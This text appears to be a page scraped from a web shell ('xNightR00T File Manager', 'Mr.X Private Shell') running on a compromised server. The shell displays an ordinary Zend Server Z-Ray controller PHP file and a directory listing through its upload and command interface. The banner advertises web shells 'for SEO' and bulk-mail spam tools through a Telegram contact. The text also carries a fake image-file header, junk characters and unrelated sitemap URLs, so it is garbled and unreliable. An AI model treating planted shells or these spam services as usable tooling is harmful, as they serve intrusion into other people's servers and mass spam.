xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace DevBar\Controller;

use ZendServer\Mvc\Controller\ActionController;
use Zend\View\Helper\ViewModel;
use ZendServer\Log\Log;
use DevBar\Filter\Dictionary;
use Acl\License\Exception;

class ZrayHistoryController extends ActionController
{

    public function indexAction()
    {
        if (function_exists('zray_disable')) {
            \zray_disable(true);
        }

        $disablePage = false;
        if (isAzureEnv()) {
            if (function_exists('zray_get_azure_license')) {
                $license = \zray_get_azure_license();
                if ($license != ZRAY_AZURE_LICENSE_STANDARD) { // if license not standard - disable page
                    $disablePage = true;
                }
            } else { // license not found - disable page
                $disablePage = true;
            }
        }

        $mapper          = $this->getLocator('ZendServer\Filter\Mapper'); /* @var $mapper \ZendServer\Filter\Mapper */
        $existingFilters = array();
        foreach ($mapper->getByType('zrays') as $filter) { /* @var $filter \ZendServer\Filter\Filter */
            $existingFilters[$filter->getName()] = array(
                'id' => $filter->getId(),
                'name' => $filter->getName(),
                'custom' => $filter->getCustom(),
                'data' => $filter->getData()
            );
        }

        // get history cleanup frequency (zray.cleanup_frequency)
        $cleanupFrequency = $this->getDirectivesMapper()->getDirectiveValue('zray.cleanup_frequency');

        // filters area
        /* @var $historyDictionary \DevBar\Filter\Dictionary */
        $historyDictionary = $this->getLocator()->get('DevBar\Filter\Dictionary');

        return array(
            'internalFilters' => array(
                'severity' => array('name' => 'severity', 'label' => _t('Severity'), 'options' => $historyDictionary->getSeverityDictionary()),
                'method' => array('name' => 'method', 'label' => _t('Method'), 'options' => $historyDictionary->getMethodDictionaryForFiltering()),
                'response' => array('name' => 'response', 'label' => _t('Response'), 'options' => Dictionary::getResponseDictionary()
                )),
            'externalFilters' => array(
                array(
                    'name' => 'timeRange',
                    'label' => 'Filter zray by time range: ',
                    'options' => $this->getTimeRange(),
                    'extra' => $this->getTimeRanges()
                )),
            'existingFilters' => $existingFilters,
            'pageTitle' => 'Z-Ray History',
            'pageTitleDesc' => '', /* Daniel */
            'disablePage' => $disablePage,
            'zrayHeader' => $this->getZrayHeader(),
            'zrayFooter' => $this->getZrayFooter(),
            'cleanupFrequency' => $cleanupFrequency,
        );
    }

    /**
     * Get the HTML of the header and the footer of Z-Ray
     * @return Zend\Stdlib\ResponseInterface
     */
    public function zrayHeaderAndFooterAction()
    {
        $response = $this->getResponse();
        $zrayHeader = $this->getZrayHeader();
        $zrayFooter = $this->getZrayFooter();
        $response->setContent($zrayHeader . $zrayFooter);
        return $response;
    }

    private function getTimeRange()
    {
        return array(
            'all' => _t('All'),
            'day' => _t('24 Hours'),
            'week' => _t('Week'),
            'month' => _t('Month'),
        );
    }

    private function getTimeRanges()
    {

        $timeRangesArray          = array('all' => array());
        $timeRangesArray['week']  = array(date('m/d/Y H:i', time() - 7 * 24 * 60 * 60), date('m/d/Y H:i'), time() - 7 * 24
            * 60 * 60, time());
        $timeRangesArray['month'] = array(date('m/d/Y H:i', strtotime('-1 month')), date('m/d/Y H:i'), strtotime('-1 month'),
            time());
        $timeRangesArray['day']   = array(date('m/d/Y H:i', time() - 24 * 60 * 60), date('m/d/Y H:i'), time() - 24 * 60 * 60,
            time());

        return $timeRangesArray;
    }

    protected function getZrayHeader()
    {

        // locate footer script
        $headerScript = getCfgVar('zend.install_dir').DIRECTORY_SEPARATOR.'share'.DIRECTORY_SEPARATOR.'scripts'.DIRECTORY_SEPARATOR.'devbar_header.html';
        $headerScript = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $headerScript);
        if (!file_exists($headerScript)) {
            throw new Exception('Z-Ray script "'.$headerScript.'" was not found');
        }

        // take footer script content
        $zrayHeader = file_get_contents($headerScript);
        if ($zrayHeader === false) {
            throw new Exception('Cannot read Z-Ray script "'.$headerScript.'"');
        }

        return $zrayHeader;
    }

    protected function getZrayFooter()
    {

        //locate footer script
        $footerScript = getCfgVar('zend.install_dir').DIRECTORY_SEPARATOR.'share'.DIRECTORY_SEPARATOR.'scripts'.DIRECTORY_SEPARATOR.'devbar_footer.html';
        $footerScript = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $footerScript);
        if (!file_exists($footerScript)) {
            throw new Exception('Z-Ray script "'.$footerScript.'" was not found');
        }

        // take footer script content
        $footerContent = file_get_contents($footerScript);
        if ($footerContent === false) {
            throw new Exception('Cannot read Z-Ray script "'.$footerScript.'"');
        }

        // replace the placeholders within the footer scripts
        $footerContent = str_replace('$(ZENDSERVER_UI)', $this->getServerUrl(), $footerContent);
        $footerContent = str_replace('$(DEVBAR_ACCESS_TOKEN)', '', $footerContent);
        $footerContent = str_replace('Z-Ray/iframe?', 'Z-Ray/iframe?embedded=0&historyEmbedded=1&', $footerContent);

        // remove the right devbar zend server logo and setting menu icon
        $footerContent = preg_replace('^<div class="zdb-toolbar-preview" title="Zend Server">(.*)<div class="zdb-toolbar-detail zdb-toolbar-detail-redundant">^',
            '<div class="zdb-toolbar-detail zdb-toolbar-detail-redundant">', $footerContent);
        $footerContent = preg_replace('^<a class="zdf-toolbar-hide-button" title="Close Toolbar"(.*)</a>?^', '',
            $footerContent);

        return $footerContent;
    }

    /**
     * Get zray server url
     * @return string
     */
    protected function getServerUrl(){
       
       $url = $this->getDirectivesMapper()->getDirectiveValue('ray.zendserver_ui_url');
       if(empty($url)){
        $viewRenderer  = $this->getLocator()->get('ViewRenderer');
           $url = $viewRenderer->serverUrl().'/ZendServer';
       }
       return $url;
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
IndexController.php File 37.67 KB 0644
WebAPIController.php File 53.1 KB 0644
ZRayIdController.php File 959 B 0644
ZrayHistoryController.php File 6.6 KB 0644
ZrayLiveController.php File 209 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml